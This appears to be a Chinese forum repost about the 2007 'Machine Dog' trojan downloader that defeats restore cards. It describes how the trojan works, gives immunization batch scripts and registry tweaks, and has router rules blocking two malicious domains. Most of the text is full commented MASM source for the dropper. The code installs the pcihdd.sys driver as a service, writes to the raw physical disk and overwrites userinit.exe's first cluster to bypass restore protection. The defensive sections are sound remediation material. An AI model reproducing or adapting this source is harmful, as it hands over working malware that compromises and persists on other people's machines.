來(lái)源:WinShell
源碼危害比較大.提供出來(lái)只是給大家學(xué)習和研究之用.切勿用來(lái)做非法勾當..否則后果自負!
機器狗的生前身后,曾經(jīng)有很多人說(shuō)有穿透還原卡、冰點(diǎn)的病毒,但是在各個(gè)論壇都沒(méi)有樣本證據,直到2007年8月29日終于有人在社區里貼出了一個(gè)樣本。這個(gè)病毒沒(méi)有名字,圖標是SONY的機器狗阿寶,就像前輩熊貓燒香一樣,大家給它起了個(gè)名字叫機器狗。
工作原理:
機器狗本身會(huì )釋放出一個(gè)pcihdd.sys到drivers目錄,pcihdd.sys是一個(gè)底層硬盤(pán)驅動(dòng),提高自己的優(yōu)先級接替還原卡或冰點(diǎn)的硬盤(pán)驅動(dòng),然后訪(fǎng)問(wèn)指定的網(wǎng)址,這些網(wǎng)址只要連接就會(huì )自動(dòng)下載大量的病毒與惡意插件。然后修改接管啟動(dòng)管理器,最可怕的是,會(huì )通過(guò)內部網(wǎng)絡(luò )傳播,一臺中招,能引發(fā)整個(gè)網(wǎng)絡(luò )的電腦全部自動(dòng)重啟。
重點(diǎn)是,一個(gè)病毒,如果以hook方式入侵系統,接替硬盤(pán)驅動(dòng)的方式效率太低了,而且毀壞還原的方式這也不是最好的,還有就是這種技術(shù)應用范圍非常小,只有還原技術(shù)廠(chǎng)商范圍內有傳播,在這方面國際上也只有中國在用,所以,很可能就是行業(yè)內杠。
對于網(wǎng)吧而言,機器狗就是劍指網(wǎng)吧而來(lái),針對所有的還原產(chǎn)品設計,可預見(jiàn)其破壞力很快會(huì )超過(guò)熊貓燒香。好在現在很多免疫補丁都以出現,發(fā)稿之日起,各大殺毒軟件都以能查殺。
免疫補丁之爭:
現在的免疫補丁之數是疫苗形式,以無(wú)害的樣本復制到drivers下,欺騙病毒以為本身以運行,起到阻止危害的目的。這種形式的問(wèn)題是,有些用戶(hù)為了自身安全會(huì )在機器上運行一些查毒程序(比如QQ醫生之類(lèi))。這樣疫苗就會(huì )被誤認為是病毒,又要廢很多口舌。
解決之道:
最新的解決方案是將system32/drivers目錄單獨分配給一個(gè)用戶(hù),而不賦予administror修改的權限。雖然這樣能解決,但以后安裝驅動(dòng)就是一件頭疼的事了。
來(lái)徹底清除該病毒,處理后重啟一下電腦就可以了,之前要打上補??!
或者這樣:
1注冊表,組策略中禁止運行userinit.exe 進(jìn)程
2 在啟動(dòng)項目中加入批處理
A : 強制結束userinit.exe進(jìn)程 Taskkill /f /IM userinit.exe (其中“/IM”參數后面為進(jìn)程的圖像名,這命令只對XP用戶(hù)有效)
B : 強制刪除userinit.exe文件 DEL /F /A /Q %SystemRoot%\system32\userinit.exe
C : 創(chuàng )建userinit.exe免疫文件到%SystemRoot%\system32\
命令:
md %SystemRoot%\system32\userinit.exe >nul 2>nul
或者
md %SystemRoot%\system32\userinit.exe
attrib +s +r +h +a %SystemRoot%\system32\userinit.exe
D : reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\userinit.exe" /v debugger /t reg_sz /d debugfile.exe /f
userinit1.exe是正常文件改了名字,多加了一個(gè)1,你也可以自己修改,不過(guò)要手動(dòng)修改這4個(gè)注冊表,并導出,這個(gè)批處理才能正常使用。
最新動(dòng)向
好像機器狗的開(kāi)發(fā)以停止了,從樣本放出到現在也沒(méi)有新的版本被發(fā)現,這到讓我們非常擔心,因為雖著(zhù)研究的深入,現在防御的手段都是針對病毒工作原理的,一但機器狗開(kāi)始更新,稍加改變工作原理就能大面積逃脫普遍的防御手段,看來(lái)機器狗的爆發(fā)只是在等待,而不是大家可以高枕了。
目前網(wǎng)上流傳一種叫做機器狗的病毒,此病毒采用hook系統的磁盤(pán)設備棧來(lái)達到穿透目的的,危害極大,可穿透目前技術(shù)條件下的任何軟件硬件還原!基本無(wú)法靠還原抵擋。目前已知的所有還原產(chǎn)品,都無(wú)法防止這種病毒的穿透感染和傳播。
機器狗是一個(gè)木馬下載器,感染后會(huì )自動(dòng)從網(wǎng)絡(luò )上下載木馬、病毒,危及用戶(hù)賬號的安全。
機器狗運行后會(huì )釋放一個(gè)名為PCIHDD.SYS的驅動(dòng)文件,與原系統中還原軟件驅動(dòng)進(jìn)行硬盤(pán)控制權的爭奪,并通過(guò)替換userinit.exe文件,實(shí)現開(kāi)機啟動(dòng)。
>> 那么如何識別是否已中毒呢?
是否中了機器狗的關(guān)鍵就在 Userinit.exe 文件,該文件在系統目錄的 system32 文件夾中,點(diǎn)擊右鍵查看屬性,如果在屬性窗口中看不到該文件的版本標簽的話(huà),說(shuō)明已經(jīng)中了機器狗。如果有版本標簽則正常。
臨時(shí)解決辦法:
一是在路由上封IP:
ROS腳本,要的自己加上去
/ip firewall filter
add chain=forward content=yu.8s7.net action=reject comment="DF6.0"
add chain=forward content=www.tomwg.com action=reject
二是在c:\windows\system32\drivers下建立免疫文件: pcihdd.sys ,
三是把他要修改的文件在做母盤(pán)的時(shí)候,就加殼并替換。
在%systemroot%\system32\drivers\目錄下 建立個(gè) 明字 為 pcihdd.sys 的文件夾 設置屬性為 任何人禁止
批處理
md %systemroot%\system32\drivers\pcihdd.sys
cacls %systemroot%\system32\drivers\pcihdd.sys /e /p everyone:n
cacls %systemroot%\system32\userinit.exe /e /p everyone:r
exit
目前,網(wǎng)絡(luò )流行以下解決方法,或者可以在緊急情況下救急:
1、首先在系統system32下復制個(gè)無(wú)毒的userinit.exe,文件名為FUCKIGM.exe(文件名可以任意取),這就是下面批處理要指向執行的文件!也就是開(kāi)機啟動(dòng)userinit.exe的替代品!而原來(lái)的userinit.exe保留!其實(shí)多復制份的目的只是為了多重保險!可能對防止以后變種起到一定的作用。
2、創(chuàng )建個(gè)文件名為userinit.bat的批處理(文件名也可任意取,但要和下面說(shuō)到的注冊表鍵值保持一致即可),內容如下:
start FUCKIGM.exe (呵呵,夠簡(jiǎn)單吧?)
3、修改注冊表鍵值,將userinit.exe改為userinit.bat。內容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"Userinit"="C:\\WINDOWS\\system32\\userinit.bat,"
就這3步,讓這條狗再也兇不起來(lái)!這是在windows 2003測試的,雙擊機器狗后,沒(méi)什么反應,對比批處理也是正常,即這狗根本沒(méi)改動(dòng)它!開(kāi)關(guān)機游戲均無(wú)異常!但唯一美中不足的是,采用經(jīng)典模式開(kāi)機的啟動(dòng)時(shí)會(huì )出現個(gè)一閃而過(guò)的黑框!
如果嫌麻煩,也不要緊。上面三條批處理網(wǎng)友已搞好了,直接復制下面的這個(gè)存為批處理執行就OK了。三步合二為一
@echo off
:::直接復制系統system32下的無(wú)毒userinit.exe為FUCKIGM.exe
cd /d %SystemRoot%\system32
copy /y userinit.exe FUCKIGM.exe >nul
:::創(chuàng )建userinit.bat
echo @echo off >>userinit.bat
echo start FUCKIGM.exe >>userinit.bat
:::注冊表操作
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit / t REG_SZ /d "C:\WINDOWS\system32\userinit.bat," /f >nul
:::刪掉自身(提倡環(huán)保)
del /f /q %0
當然,如果實(shí)在不行,下載程序killigm。然后直接解壓運行里面的程序:機器狗免疫補丁.bat 執行就可以了.
網(wǎng)上流傳的另一種新的變種的防止方法 :
開(kāi)始菜單運行.輸入CMD
cd ……到drivers
md pcihdd.sys
cd pcihdd.sys
md 1...\
可防止最新變種。請注意:此法只能是防止,對于殺機器狗還得靠最新的殺毒程序才行。
針對該病毒,反病毒專(zhuān)家建議廣大用戶(hù)及時(shí)升級殺毒軟件病毒庫,補齊系統漏洞,上網(wǎng)時(shí)確保打開(kāi)“網(wǎng)頁(yè)監控”、“郵件監控”功能;禁用系統的自動(dòng)播放功能,防止病毒從U盤(pán)、MP3、移動(dòng)硬盤(pán)等移動(dòng)存儲設備進(jìn)入到計算機;登錄網(wǎng)游賬號、網(wǎng)絡(luò )銀行賬戶(hù)時(shí)采用軟鍵盤(pán)輸入賬號及密碼
代碼如下:
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
include advapi32.inc
includelib advapi32.lib
includelib user32.lib
includelib kernel32.lib
.data
Text db '對不起,驅動(dòng)程序的加載沒(méi)有成功,程序將無(wú)法運行.',0
FileName db '\\.\PhysicalHardDisk0',0
a_Physicaldrive db '\\.\PhysicalDrive0',0
aFCJ db '分配內存不成功',0
OutputString db '操作成功', 0
Dst db 10Ch dup(0)
hModule dd 0
ERR1 db '尋址文件不成功',0
ERR2 db '不支持的磁盤(pán)分區',0
ERR3 db '第一個(gè)分區不是啟動(dòng)分區',0
ERR4 db '該文件是壓縮文件,不能操作',0
ERR5 db '獲取文件原始信息失敗',0
ERR6 db '打開(kāi)文件失敗',0
ERR7 db '加載驅動(dòng)失敗',0
.code
Src db '%SystemRoot%\system32\drivers\pcihdd.sys',0
ServiceName db 'PciHdd',0
;**********************************************************************************************
;退出服務(wù),并刪除文件badwolf祝福你好運!http://www.winshell.cn QQ:13699576
;**********************************************************************************************
QuitService proc
LOCAL ServiceStatus
LOCAL hSCObject
LOCAL hSCManager
LOCAL @FileName[100h]:byte
push 0F003Fh ; dwDesiredAccess
push 0 ; lpDatabaseName
push 0 ; lpMachineName
call OpenSCManagerA
or eax, eax
jz OpenSCManagerFail
mov hSCManager, eax
push 0F01FFh ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz OpenServiceFail
mov hSCObject, eax
lea eax, ServiceStatus
push eax ; lpServiceStatus
push 1 ; dwControl
push hSCObject ; hService
call ControlService
push hSCObject ; hService
call DeleteService
push hSCObject ; hSCObject
call CloseServiceHandle
OpenServiceFail: ; hSCObject
push hSCManager
call CloseServiceHandle
OpenSCManagerFail: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call ExpandEnvironmentStringsA
lea eax, @FileName
push eax ; lpFileName
call DeleteFileA
ret
QuitService endp
;**********************************************************************************************
;從資源中加載二進(jìn)制內容寫(xiě)入文件,并將文件寫(xiě)入環(huán)境變量,然后啟動(dòng)服務(wù),最后去掉環(huán)境變量,刪除文件
;**********************************************************************************************
LoadServiceFromRes proc
LOCAL ServiceStatus
LOCAL hSCObject
LOCAL hSCManager
LOCAL nNumberOfBytesToWrite
LOCAL lpBuffer
LOCAL hResInfo
LOCAL @FileName[110h]:byte
LOCAL hObject
LOCAL NumberOfBytesWritten
push 3E9h ; lpType
push 3E9h ; lpName
push hModule ; hModule
call FindResourceA
or eax, eax
jz failed
mov hResInfo, eax
push eax ; hResInfo
push hModule ; hModule
call SizeofResource
mov nNumberOfBytesToWrite, eax
push hResInfo ; hResInfo
push hModule ; hModule
call LoadResource
or eax, eax
jz failed
push eax ; hResData
call LockResource
or eax, eax
jz failed
mov lpBuffer, eax
failed:
or eax, eax
jnz CONTINUE
jmp Exit
CONTINUE: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call ExpandEnvironmentStringsA
push 0 ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 4 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
lea eax, @FileName
push eax ; lpFileName
call CreateFileA
cmp eax, 0FFFFFFFFh
jnz short CREATEFILEOK
jmp Exit
CREATEFILEOK:
mov hObject, eax
push 0 ; lpOverlapped
lea eax, NumberOfBytesWritten
push eax ; lpNumberOfBytesWritten
push nNumberOfBytesToWrite ; nNumberOfBytesToWrite
push lpBuffer ; lpBuffer
push hObject ; hFile
call WriteFile
push hObject ; hFile
call SetEndOfFile
push hObject ; hFile
call FlushFileBuffers
push hObject ; hObject
call CloseHandle
push 0F003Fh ; dwDesiredAccess
push 0 ; lpDatabaseName
push 0 ; lpMachineName
call OpenSCManagerA
or eax, eax
jz OpenSCManagerFailed
mov hSCManager, eax
push 0 ; lpPassword
push 0 ; lpServiceStartName
push 0 ; lpDependencies
push 0 ; lpdwTagId
push 0 ; lpLoadOrderGroup
lea eax, @FileName
push eax ; lpBinaryPathName
push 0 ; dwErrorControl
push 3 ; dwStartType
push 1 ; dwServiceType
push 0 ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call CreateServiceA
or eax, eax
jz CreateServiceFailed
mov hSCObject, eax
push hSCObject ; hSCObject
call CloseServiceHandle
jmp OPENSERVICE
CreateServiceFailed:
push 0F01FFh ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz short OpenServiceFailed
mov hSCObject, eax
lea eax, ServiceStatus
push eax ; lpServiceStatus
push 1 ; dwControl
push hSCObject ; hService
call ControlService
push hSCObject ; hService
call DeleteService
push hSCObject ; hSCObject
call CloseServiceHandle
OpenServiceFailed:
push 0 ; lpPassword
push 0 ; lpServiceStartName
push 0 ; lpDependencies
push 0 ; lpdwTagId
push 0 ; lpLoadOrderGroup
lea eax, @FileName
push eax ; lpBinaryPathName
push 0 ; dwErrorControl
push 3 ; dwStartType
push 1 ; dwServiceType
push 0 ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call CreateServiceA
or eax, eax
jz QUIT
mov hSCObject, eax
push hSCObject ; hSCObject
call CloseServiceHandle
jmp OPENSERVICE
QUIT:
jmp Exit
OPENSERVICE:
push 10h ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz OPENSERVICEFAILED
mov hSCObject, eax
push 0 ; lpServiceArgVectors
push 0 ; dwNumServiceArgs
push hSCObject ; hService
call StartServiceA
or eax, eax
jnz StartServiceOK
jmp Exit
StartServiceOK: ; hSCObject
push hSCObject
call CloseServiceHandle
push hSCManager ; hSCObject
call CloseServiceHandle
jmp OpenSCManagerFailed
OPENSERVICEFAILED:
push hSCManager
call CloseServiceHandle
jmp Exit
OpenSCManagerFailed: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call ExpandEnvironmentStringsA
lea eax, @FileName
push eax ; lpFileName
call DeleteFileA
ret
Exit:
push 10h
push 0 ; lpCaption
push offset Text ; "出錯"
push 0 ; hWnd
call MessageBoxA
push 0 ; uExitCode
call ExitProcess
LoadServiceFromRes endp
aSystemrootSyst db '%SystemRoot%\System32\Userinit.exe',0
;***************************************************************************************************************
;簇是磁盤(pán)使用的基本單元。 組成一個(gè)簇的扇區數總是2的冪數,當卷被格式化時(shí)此數值是固定的。 此數值稱(chēng)為簇要素,
;通常用字節引用,如8KB,2KB。 NTFS通過(guò)每件事的邏輯簇數來(lái)尋址。
;邏輯簇數(LCN):卷里的每個(gè)簇都給定了一個(gè)順序號,這是它的邏輯簇數。LCN0(零)指向卷的第一個(gè)簇(引導扇區)。
; 用LCN乘以簇的大小就可以算出在卷里的物理偏移量。
;
;實(shí)際簇數(VCN):一個(gè)非常駐的流的每個(gè)簇都給定了一個(gè)順序號,這是它的實(shí)際簇數。VCN0(零)指向這個(gè)流的第一個(gè)簇。
; 要定位磁盤(pán)上的流,就必須把VCN轉換成LCN.這是在數據運轉的幫助下完成的。
;
;數據運轉:每個(gè)LCN的連續模塊都被賦予了一個(gè)數據運轉,它包含一個(gè)VCN,一個(gè)LCN和一個(gè)長(cháng)度。
; 當NTFS需要在磁盤(pán)上找到一個(gè)對象時(shí),就查看數據運轉中的VCN來(lái)得到LCN。
;其他信息:
; 1)當卷被格式化時(shí)可以選擇簇的大小。
; 2)一個(gè)卷的簇的大小存儲在$Boot里。也定義了此值在一個(gè)MFT文件記錄和一個(gè)索引記錄的簇里。
; 3)如果扇區數在用,NTFS通過(guò)引用簇數可以尋址更大的磁盤(pán)。
;下面是一個(gè)關(guān)于允許和默認簇的大小的列表:
;Windows NT
; 512 bytes, 1KB, 2KB or 4KB
;Windows 2000, Windows XP
; 512 bytes, 1KB, 2KB, 4KB, 8KB, 16KB, 32KB or 64KB
;卷的大小 默認的簇的大小
;< 512MB Sector size
;< 1GB 1KB
;< 2GB 2KB
;> 2GB 4KB
;***************************************************************************************************************
DoMyWork proc lpFileName ;成功返回值為0
LOCAL lpBuffer
LOCAL nNumberOfBytesToWrite
LOCAL hDevice
LOCAL lDistanceToMove
LOCAL HighOffset
LOCAL dwLowPartofLcn
LOCAL dwHighPartofLcn
LOCAL StartSectorC
LOCAL hFile
LOCAL PhysicalBuff[512]:BYTE
LOCAL Buffer[512]:BYTE
LOCAL OutBuffer[272]:BYTE
LOCAL dwRet
LOCAL DistanceToMoveHigh:DWORD
LOCAL InBuffer[8]:BYTE
LOCAL hObject
pusha
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 80000000h ; dwDesiredAccess
push offset FileName ; "\\\\.\\PhysicalHardDisk0" 是pcihdd.sys創(chuàng )建的符號鏈接
call CreateFileA
cmp eax, 0FFFFFFFFh
jz CreateFileFailed
mov hDevice, eax
push 0 ; hTemplateFile
push 20000000h ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 3 ; dwShareMode
push 80000000h ; dwDesiredAccess
push lpFileName ; 打開(kāi)userinit.exe
call CreateFileA
cmp eax, 0FFFFFFFFh
jz CreateUserInitFileFailed
mov hObject, eax
push 8
lea eax,InBuffer
push eax
call RtlZeroMemory
push 110h ;初始化
lea eax, OutBuffer
push eax
call RtlZeroMemory
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpBytesReturned
push 110h ; nOutBufferSize
lea eax, OutBuffer
push eax ; lpOutBuffer
push 8 ; nInBufferSize
lea eax, InBuffer
push eax ; lpInBuffer
push 90073h ; dwIoControlCode = FSCTL_GET_RETRIEVAL_POINTERS
push hObject ; hDevice
call DeviceIoControl ;通過(guò)FSCTL_GET_RETRIEVAL_POINTERS獲取userinit文件數據的分布信息
or eax, eax
jz DeviceIoControlFailed
;這個(gè)結構是8字節對齊的,結構長(cháng)度32字節
;typedef struct RETRIEVAL_POINTERS_BUFFER
;{
; DWORD ExtentCount;
; LARGE_INTEGER StartingVcn;
; struct
; {
; LARGE_INTEGER NextVcn;
; LARGE_INTEGER Lcn;
; } Extents[1];
;} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;
;typedef union union
;{
; struct
; {
; DWORD LowPart;
; LONG HighPart;
; };
; LONGLONG QuadPart;
;} LARGE_INTEGER, *PLARGE_INTEGER;
lea edi, OutBuffer ;OutBuffer是上面結構體指針
mov ebx, [edi] ;ExtentCount = Extents數組元素個(gè)數
lea edi, [edi+10h] ;指向Extents數組首地址,根據字節對齊
mov eax, DistanceToMoveHigh
or ebx, ebx ;判斷ExtentCount是否為0
jz ExtentCountIsZero
mov eax, [edi+8] ;指向Extents[0].Lcn.LowPart
mov edx, [edi+0Ch] ;指向Extents[0].Lcn.HighPart
cmp eax, 0FFFFFFFFh
jz FEIHUA
cmp edx, 0FFFFFFFFh
jz FEIHUA
mov dwLowPartofLcn, eax ;保存lcn低32位
mov dwHighPartofLcn, edx ;保存lcn高32位
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, Buffer
push eax ; lpBuffer
push hObject ; hFile
call ReadFile ;讀取userinit文件開(kāi)頭512字節
push hObject ; hObject
call CloseHandle
mov hObject, 0 ;關(guān)閉文件
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 3 ; dwShareMode
push 0C0000000h ; dwDesiredAccess
push offset a_Physicaldrive ; "\\\\.\\PhysicalDrive0"
call CreateFileA ;打開(kāi)物理硬盤(pán)讀寫(xiě)
cmp eax, 0FFFFFFFFh
jz OPENPHYSICSFAILED
mov hFile, eax
push 0 ; dwMoveMethod
push 0 ; lpDistanceToMoveHigh
push 0 ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ; 定位
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;讀取硬盤(pán)主引導分區MBR
;
; 0000 |------------------------------------------------|
; | |
; | |
; | Master Boot Record |
; | |
; | |
; | 主引導記錄(446字節) |
; | |
; | |
; | |
; 01BD | |
; 01BE |------------------------------------------------|
; | |
; 01CD | 分區信息 1(16字節) |
; 01CE |------------------------------------------------|
; | |
; 01DD | 分區信息 2(16字節) |
; 01DE |------------------------------------------------|
; | |
; 01ED | 分區信息 3(16字節) |
; 01EE |------------------------------------------------|
; | |
; 01FD | 分區信息 4(16字節) |
; |------------------------------------------------|
; | 01FE | 01FF |
; | 55 | AA |
; |------------------------------------------------|
;分區表
;
; 分區表是一個(gè)鏈表,主分區表是分區鏈表的第一個(gè)節點(diǎn)。由于主分區表中只能分四個(gè)分區, 無(wú)法滿(mǎn)足需求, 因此設計了一種擴展分區格式。擴展分區就是分區表的第二個(gè)節點(diǎn)到最后一個(gè)節點(diǎn)。
;
; 主分區表是從主引導扇區第0x1BE字節開(kāi)始的,共64個(gè)字節,最后是0x55AA。64個(gè)字節的分區信息分為四組,每16字節為一組。每組的數據結構是這樣的:
;
;typedef struct
;{
; BYTE byState;//分區狀態(tài), 0 = 未激活, 0x80 = 激活
; BYTE byBeginHead;//分區起始磁頭號
; WORD wBeginSC;//分區起始扇區和柱面號, 底字節的低6位為扇區號, 高2位為柱面號的第 9,10 位, 高字節為柱面號的低 8 位
; BYTE byFSID; //分區類(lèi)型, 如 0x0B = FAT32, 0x83 = Linux 等, 00 表示此項未用
; BYTE byEndHead;//分區結束磁頭號
; WORD wEndSC;//分區結束扇區和柱面號
; DWORD dwInfoAreaSectors;//在線(xiàn)性尋址方式下的分區相對扇區地址
; DWORD dwSectors;//分區大小 (總扇區數)
;} INFOAREA_PARAM;//磁盤(pán)的分區信息
lea edi, PhysicalBuff
cmp byte ptr [edi+1BEh], 80h ;byState判斷是否為活動(dòng)分區
jnz NOTACTIVEDISK
movzx ebx, byte ptr [edi+1C2h] ;byFSID判斷分區類(lèi)型
cmp ebx, 0Bh
jz FAT32 ;Win95 FAT32
cmp ebx, 0Ch
jz FAT32 ;Win95 FAT32 LBA
cmp ebx, 7
jnz NTFS ;HPFS/NTFS
FAT32:
mov eax, [edi+1C6h] ;C盤(pán)起始扇區(首扇區的相對扇區號)
mov StartSectorC, eax
xor edx, edx
imul eax, 200h ;求出實(shí)際的字節偏移
mov DistanceToMoveHigh, edx
mov ecx, eax
push 0 ; dwMoveMethod
lea eax, DistanceToMoveHigh
push eax ; lpDistanceToMoveHigh
push ecx ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ;定位到硬盤(pán)C盤(pán)起始扇區的絕對位置
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;讀硬盤(pán)C盤(pán)起始扇區 即:第一個(gè)分區的引導扇區BPB
lea edi, PhysicalBuff
movzx eax, word ptr [edi+0Eh]; BPB_RsvdSecCnt = 保留扇區數量
add StartSectorC, eax
cmp ebx, 0Bh ;Win95 FAT32
jz WIN95FAT32
cmp ebx, 0Ch ;Win95 FAT32 LBA
jnz short FAT32LBA
WIN95FAT32:
movzx ecx, byte ptr [edi+10h]; BPB_NumFATS = 每個(gè)分區占用的FAT表 數
mov eax, [edi+24h] ; BPB_FATSz32 = 每個(gè)FAT占用扇區數
xor edx, edx
imul eax, ecx
add StartSectorC, eax ;數據記錄起始扇區
FAT32LBA:
mov eax, dwLowPartofLcn
mov edx, dwHighPartofLcn
movzx ecx, byte ptr [edi+0Dh] ;BPB_SecPerClus = 每簇多少扇區
mov nNumberOfBytesToWrite, ecx
imul eax, ecx
add eax, StartSectorC
adc edx, 0
imul eax, 200h ;求出絕對偏移字節位置
mov HighOffset, edx ;偏移高32位
mov lDistanceToMove, eax ;低32位
push 0 ; dwMoveMethod
lea eax, HighOffset
push eax ; lpDistanceToMoveHigh
push lDistanceToMove ; lDistanceToMove
push hFile ; hFile
call SetFilePointer
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;在找到的硬盤(pán)扇區讀
lea edi, PhysicalBuff
lea esi, Buffer
mov ecx, 200h
repe cmpsb ;通過(guò)對比ReadFile讀取的文件數據和自己定位后直接讀取所得到的文件數據,確定定位是否正確
or ecx, ecx
jnz DIFF
push 0 ; dwMoveMethod
lea eax, HighOffset
push eax ; lpDistanceToMoveHigh
push lDistanceToMove ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ;重新定位到上面找到的硬盤(pán)扇區處
mov eax, nNumberOfBytesToWrite
shl eax, 9 ;這個(gè)值是作者估算的
mov nNumberOfBytesToWrite, eax
push nNumberOfBytesToWrite ; dwBytes
push 40h ; uFlags
call GlobalAlloc
or eax, eax
jz ALLOCMEMORYFAILED
mov lpBuffer,eax
mov ecx, offset MessageBoxA
sub ecx, offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
;把整個(gè)代碼體作為參數傳遞給pcihdd.sys,控制碼0xF0003C04,
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpBytesReturned
push nNumberOfBytesToWrite ; nOutBufferSize
push lpBuffer ; lpOutBuffer
push ecx ; nInBufferSize
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
push 0F0003C04h ; dwIoControlCode
push hDevice ; hDevice
call DeviceIoControl
;并將pcihdd返回的數據直接寫(xiě)入userinit.exe的第一簇
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesWritten
push nNumberOfBytesToWrite ; nNumberOfBytesToWrite
push lpBuffer ; lpBuffer
push hFile ; hFile
call WriteFile
push hFile ; hFile
call FlushFileBuffers
mov dwRet, 0
jmp OVER
ALLOCMEMORYFAILED:
; "分配內存不成功"
mov dwRet, offset aFCJ
OVER: ; hMem
push lpBuffer
call GlobalFree
jmp FINISHED
DIFF:
mov dwRet, offset ERR1
jmp FINISHED
NTFS:
mov dwRet, offset ERR2
jmp FINISHED
NOTACTIVEDISK:
mov dwRet, offset ERR3
FINISHED: ; hObject
push hFile
call CloseHandle
jmp OPENPHYSICSFAILED
FEIHUA:
mov dwRet, offset ERR4
OPENPHYSICSFAILED: ;打開(kāi)硬盤(pán)設備失敗
jmp ExtentCountIsZero
DeviceIoControlFailed:
mov dwRet, offset ERR5
ExtentCountIsZero:
cmp hObject, 0
jz ZeroObject
push hObject ; hObject
call CloseHandle
jmp ZeroObject
CreateUserInitFileFailed:
mov dwRet, offset ERR6
ZeroObject: ; hObject
push hDevice
call CloseHandle
jmp EXIT
CreateFileFailed:
mov dwRet, offset ERR7
EXIT:
popa
mov eax, dwRet
ret
DoMyWork endp
start proc
push 0 ; lpModuleName
call GetModuleHandleA
mov hModule, eax
call LoadServiceFromRes ;load service from resource
push 100h ; nSize
push offset Dst ; lpDst
push offset aSystemrootSyst ; "%SystemRoot%\\System32\\Userinit.exe"
call ExpandEnvironmentStringsA
push offset Dst ; lpFileName
call DoMyWork
or eax, eax
jnz FAILED
push offset OutputString ;
call OutputDebugStringA
jmp Exit
FAILED: ; lpOutputString
push eax
call OutputDebugStringA
Exit:
call QuitService
push 0 ; uExitCode
call ExitProcess
start endp
end start

